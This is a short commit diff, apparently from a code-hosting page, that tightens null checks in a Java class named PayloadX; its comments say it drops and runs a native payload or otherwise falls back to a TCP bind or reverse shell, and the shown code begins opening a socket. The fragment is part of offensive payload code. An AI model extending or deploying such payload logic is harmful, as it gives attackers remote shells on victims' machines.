Add checks for data being null, too, just in case
parent
11a1ae3a8d
commit
6b996ed9de
|
@ -91,8 +91,10 @@ public class PayloadX implements PrivilegedExceptionAction
|
|||
//System.out.println("OS: " + os);
|
||||
// if we have no native payload to drop and execute we default to
|
||||
// either a TCP bind or reverse shell.
|
||||
if( PayloadX.data != null && PayloadX.data.length() == 0 && PayloadX.jar.length() == 0 )
|
||||
{
|
||||
if(
|
||||
(PayloadX.data == null || PayloadX.data.length() == 0) &&
|
||||
(PayloadX.jar == null || PayloadX.jar.length() == 0)
|
||||
) {
|
||||
//System.out.println("no, exe/jar. Doing shell");
|
||||
Socket client_socket = null;
|
||||
|
||||
|
|
Loading…
Reference in New Issue